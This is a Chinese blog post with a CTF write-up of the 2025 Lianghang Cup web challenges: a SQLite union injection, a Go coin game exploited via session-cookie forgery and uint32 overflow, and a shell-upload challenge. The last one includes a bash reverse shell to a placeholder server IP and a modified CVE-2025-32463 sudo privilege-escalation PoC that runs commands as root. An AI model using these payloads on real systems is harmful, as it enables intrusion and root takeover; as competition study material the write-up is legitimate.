2025领航杯web-wp
本文最后更新于98 天前,其中的信息可能已经过时,如有错误请发送邮件到270371528@qq.com

2025领航杯web-wp

登进博客才发现忘记发了…web前三题都很简单很快就写完了。最后一题磨2小时也不会

web_签到

关注公众号回复即可。

web-sqllogic

sql注入,试了试数据库不是mysql,而是sqlite。

-1' union select 1,2,3,4,5 --+   //列数为5列
-1' union select 1,sql,3,4,5 from sqlite_master where type='table'--+  //查列名
-1' union select 1,flag,3,4,5 from coupons--+  //查值

web-2345

提示了sudo漏洞。

可以上传.sh文件并且会直接运行,那先谈个shell

#!/bin/bash
bash -i >& /dev/tcp/服务器ip/6666 0>&1

上传文件并进行监听

root@iZf8z2dh412cfl7e03twuiZ:~# nc -lvvp 6666
Listening on 0.0.0.0 6666
Connection received on 123.56.252.211 42142
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@M2-U833-T285-C48:/var/www/html$ ls
ls
123.sh
index.php
www-data@M2-U833-T285-C48:/var/www/html$

查看sudo有没有漏洞

www-data@M2-U833-T285-C48:/etc$ sudo --version
sudo --version
Sudo version 1.9.16p2
Sudoers policy plugin version 1.9.16p2
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.16p2
Sudoers audit plugin version 1.9.16p2

这个版本存在CVE-2025-32463。

https://github.com/pr0v3rbs/CVE-2025-32463_chwoot

稍微修改一下poc然后直接上传

#!/bin/bash
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

# 直接设置命令为读取 flag
CMD="find / -name '*flag*' -type f 2>/dev/null; cat /flag  /root/flag /root/flag.txt 2>/dev/null; ls -la /root/ 2>/dev/null"

# Escape the command to safely include it in a C string literal.
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\/\\/g' -e 's/"/\"/g')

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "正在利用漏洞获取 flag..."
sudo -R woot woot
rm -rf ${STAGE?}

得到flag

image-20251011164800979

go to code

赛后得知是WMCTF2020 – GOGOGO的翻版。

参考:https://blog.annevi.cn/security/CTF/WMCTF2020-GOGOGO-WriteUp.html

给的源码是:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<h3>欢迎登录<h3>
<form method="post" action="/auth/login">
    Username: &nbsp;<input type="text" name="uname" /><br/>
    Password: &nbsp;<input type="password" name="pwd" /><br/>
    Hash: md5(hash)[:6] == {{ .hsh }}&nbsp;<input type="text" name="hsh" /><br/>
    <input type="submit" value="login"/>
</form>
</body>
</html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<h2>Game</h2>
<h2>You have Money: {{ .playerMoney }}</h2>
<h2>Price of flag: {{ .nowMoney }}</h2>
<form method="post" action="/play/guess">
    <input type="submit" value="buyFlag"/>
</form>
<form method="post" action="/play/add">
    You can add Flag Price if you are admin: &nbsp;<input type="text" name="addMoney" /><br/>

    <input type="submit" value="addPrice"/>
</form>
</body>
</html>
package main

import (
    "fmt"
    "github.com/gin-contrib/sessions"
    "github.com/gin-gonic/gin"
    "io/ioutil"
    "strconv"
)
var secret, _ =ioutil.ReadFile("secret")
func add(c *gin.Context){
    var newMoney uint32 = 0
    s := sessions.Default(c)

    nowMoney :=fmt.Sprintf("%v",s.Get("nowMoney"))
    addMoney :=c.PostForm("addMoney")
    u1, err1 :=strconv.ParseUint(nowMoney,10,32)
    u2, err2 :=strconv.ParseUint(addMoney,10,32)
    if err1 != nil && err2 != nil{
        c.String(200,"Your money is wrong")
        c.Abort()
        return
    }
    if s.Get("checkNowMoney")==nil{
        c.String(200,"Dont have checkNowMoney")
        c.Abort()
        return
    }else {
        checkNowMoney := AesDecrypt(fmt.Sprintf("%v", s.Get("checkNowMoney")), string(secret))
        if checkNowMoney == nowMoney {
            newMoney = uint32(u1) + uint32(u2)
            s.Set("nowMoney", newMoney)
            s.Set("checkNowMoney", AesEncrypt(strconv.Itoa(int(newMoney)), string(secret)))
            s.Save()
            c.String(200, "New money set.Refresh /game")
            return
        } else {
            c.String(200, "checkNowMoney is wrong")
        }
    }
}
func guess(c *gin.Context){
    s := sessions.Default(c)

    playerMoney :=fmt.Sprintf("%v",s.Get("playerMoney"))
    nowMoney :=fmt.Sprintf("%v",s.Get("nowMoney"))
    u1, err1 :=strconv.ParseUint(playerMoney,10,32)
    u2, err2 :=strconv.ParseUint(nowMoney,10,32)
    if err1 != nil && err2 != nil{
        c.String(200,"Wrong")
        c.Abort()
        return
    }
    var newMoney  = uint32(u1)
    if s.Get("checkNowMoney")==nil||s.Get("checkPlayerMoney")==nil{
        c.String(200,"Dont have checkNowMoney or checkPlayerMoney")
        c.Abort()
        return
    }else {
        checkPlayerMoney := AesDecrypt(fmt.Sprintf("%v", s.Get("checkPlayerMoney")), string(secret))
        checkNowMoney := AesDecrypt(fmt.Sprintf("%v", s.Get("checkNowMoney")), string(secret))
        if u1 >= u2 && checkPlayerMoney == playerMoney && checkNowMoney == nowMoney {
            newMoney = uint32(u1) - uint32(u2)
            f, err := ioutil.ReadFile("flag")
            if err == nil {
                s.Set("playerMoney", newMoney)
                s.Set("checkPlayerMoney", AesEncrypt(fmt.Sprintf("%v", s.Get("playerMoney")), string(secret)))
                s.Save()
                c.String(200, string(f))
                c.Abort()
                return
            } else {
                c.String(200, "SomethingWrong")
            }

        } else {
            c.String(200, "Your money is not enough or you do some trick on the check")
            c.Abort()
            return
        }
    }

}
func start(c *gin.Context) {
    s := sessions.Default(c)
    nowMoney :=s.Get("nowMoney")
    playerMoney :=s.Get("playerMoney")
    if nowMoney==nil{
        s.Set("nowMoney",200000)
        nowMoney="200000"
        s.Set("checkNowMoney",AesEncrypt(fmt.Sprintf("%v",s.Get("nowMoney")),string(secret)))
        s.Save()
    }else {
        nowMoney=s.Get("nowMoney")
    }
    if playerMoney==nil{
        s.Set("playerMoney",5000)
        playerMoney="5000"
        s.Set("checkPlayerMoney",AesEncrypt(fmt.Sprintf("%v",s.Get("playerMoney")),string(secret)))
        s.Save()
    }else {
        playerMoney=s.Get("playerMoney")
    }
    c.HTML(200, "game", gin.H{
        "nowMoney": nowMoney,
        "playerMoney":playerMoney,
    })
    return
}
package main

import (
    "bytes"
    "crypto/aes"
    "crypto/cipher"
    "crypto/md5"
    "encoding/base64"
    "fmt"
    "math/rand"

    "github.com/gin-contrib/sessions"
    "github.com/gin-gonic/gin"
)

func md5Hash(s string) string {
    hsh := md5.New()
    hsh.Write([]byte(s))
    return fmt.Sprintf("%x", hsh.Sum(nil))
}

func randomChar(l int) []byte {
    output := make([]byte, l)
    rand.Read(output)
    return output
}

func hashProof() string {
    hsh := md5.New()
    hsh.Write(randomChar(6))
    return fmt.Sprintf("%x", hsh.Sum(nil))[:6]
}

func loginRequired() gin.HandlerFunc {
    return func(c *gin.Context) {
        s := sessions.Default(c)
        if s.Get("uname") == nil && (c.Request.URL.Path != "/auth/login" ) {
            c.Redirect(302, "/auth/login")
            c.Abort()
        }
        c.Next()
    }
}

func adminRequired() gin.HandlerFunc {
    return func(c *gin.Context) {
        s := sessions.Default(c)
        if s.Get("uname") == nil {
            c.Redirect(302, "/auth/login")
            c.Abort()
            return
        }

        if s.Get("uname").(string) != "admin" {
            c.String(200, "No,You are not admin!!!!")
            c.Abort()
        }
        c.Next()
    }
}

func hashProofRequired() gin.HandlerFunc {
    return func(c *gin.Context) {
        if c.Request.Method == "POST" {
            s := sessions.Default(c)
            hsh, ok := s.Get("hsh").(string)
            if !ok {
                println(1)
                c.String(200, "wrong hash")
                c.Abort()
                return
            }

            if md5Hash(c.PostForm("hsh"))[:6] != hsh {
                fmt.Println(hsh)
                c.String(200, "wrong hash")
                c.Abort()
            }
        }
        c.Next()
    }
}
func loginPostHandler(c *gin.Context) {
    uname := c.PostForm("uname")
    pwd := c.PostForm("pwd")
    if uname == "admin"{
        c.String(200,"noon,you cant be admin")
        return
    }
    if uname == "" || pwd == "" {
        c.String(200, "empty parameter")
        return
    }

    s := sessions.Default(c)
    s.Set("uname", uname)
    s.Save()
    c.Redirect(302, "/game")
}
func loginGetHandler(c *gin.Context) {
    hsh := hashProof()
    s := sessions.Default(c)
    s.Set("hsh", hsh)
    s.Save()
    c.HTML(200, "login", gin.H{
        "hsh": hsh,
    })
}

// AesEncrypt 网上找的简单实现AES加密而已....
func AesEncrypt(orig string, key string) string {
    // 转成字节数组
    origData := []byte(orig)
    k := []byte(key)

    // 分组秘钥
    block, err := aes.NewCipher(k)
    if err != nil {
        panic(fmt.Sprintf("key 长度必须 16/24/32长度: %s", err.Error()))
    }
    // 获取秘钥块的长度
    blockSize := block.BlockSize()
    // 补全码
    origData = PKCS7Padding(origData, blockSize)
    // 加密模式
    blockMode := cipher.NewCBCEncrypter(block, k[:blockSize])
    // 创建数组
    cryted := make([]byte, len(origData))
    // 加密
    blockMode.CryptBlocks(cryted, origData)
    //使用RawURLEncoding 不要使用StdEncoding
    //不要使用StdEncoding  放在url参数中回导致错误
    return base64.RawURLEncoding.EncodeToString(cryted)

}
//如果解密过程出错请尝试清空cookie
func AesDecrypt(cryted string, key string) string {
    //使用RawURLEncoding 不要使用StdEncoding
    //不要使用StdEncoding  放在url参数中回导致错误
    crytedByte, _ := base64.RawURLEncoding.DecodeString(cryted)
    k := []byte(key)

    // 分组秘钥
    block, err := aes.NewCipher(k)
    if err != nil {
        panic(fmt.Sprintf("key 长度必须 16/24/32长度: %s", err.Error()))
    }
    // 获取秘钥块的长度
    blockSize := block.BlockSize()
    // 加密模式
    blockMode := cipher.NewCBCDecrypter(block, k[:blockSize])
    // 创建数组
    orig := make([]byte, len(crytedByte))
    // 解密
    blockMode.CryptBlocks(orig, crytedByte)
    // 去补全码
    orig = PKCS7UnPadding(orig)
    return string(orig)
}

//补码
func PKCS7Padding(ciphertext []byte, blocksize int) []byte {
    padding := blocksize - len(ciphertext)%blocksize
    padtext := bytes.Repeat([]byte{byte(padding)}, padding)
    return append(ciphertext, padtext...)
}

//去码
func PKCS7UnPadding(origData []byte) []byte {
    length := len(origData)
    unpadding := int(origData[length-1])
    return origData[:(length - unpadding)]
}
package main

import (
    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"

)

func main() {
    gin.SetMode(gin.ReleaseMode)
    r := gin.Default()

    storage := cookie.NewStore(randomChar(16))
    r.Use(sessions.Sessions("o", storage))

    r.LoadHTMLGlob("template/*")

    auth := r.Group("/auth/",hashProofRequired())
    auth.GET("/login", loginGetHandler)
    auth.POST("/login", loginPostHandler)

    user := r.Group("/play/")

    user.POST("/add",adminRequired(),add)
    user.POST("/guess",loginRequired(),guess)
    r.GET("/game",start)
    r.GET("/", func(c *gin.Context) {c.Redirect(302, "/auth/login")})
    r.Run("0.0.0.0:80")
}

首先我们要先登录进去,md5爆破前6位,可以ai写个脚本爆破一下。

登进去后必须要是admin才行,这里必须要伪造cookie

go版本必须使用1.20以下的,高版本的Seed 函数漏洞已修复。

伪造成功后登录进去可以得到flag需要200000,而我们只有5000

再次阅读源码找到

func add(c *gin.Context){
    var newMoney uint32 = 0
    // ...
    u1, err1 := strconv.ParseUint(nowMoney,10,32)  // 解析为uint64
    u2, err2 := strconv.ParseUint(addMoney,10,32)  // 解析为uint64

    newMoney = uint32(u1) + uint32(u2)  // ⚠️ 整数溢出点!
}

这里有 uint32整数溢出漏洞

uint32 范围:0 到 4,294,967,295 (2³² – 1)

当两个uint32相加超过最大值时:

// 溢出示例
var a uint32 = 4294967295  // 最大值
var b uint32 = 1
var result uint32 = a + b  // 结果:0(溢出回绕)
// 更多例子:
// 4000000000 + 1000000000 = 705032704 (不是5000000000)
// 4294967295 + 1 = 0
// 4294967295 + 2 = 1

所以整数绕过直接获取即可

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇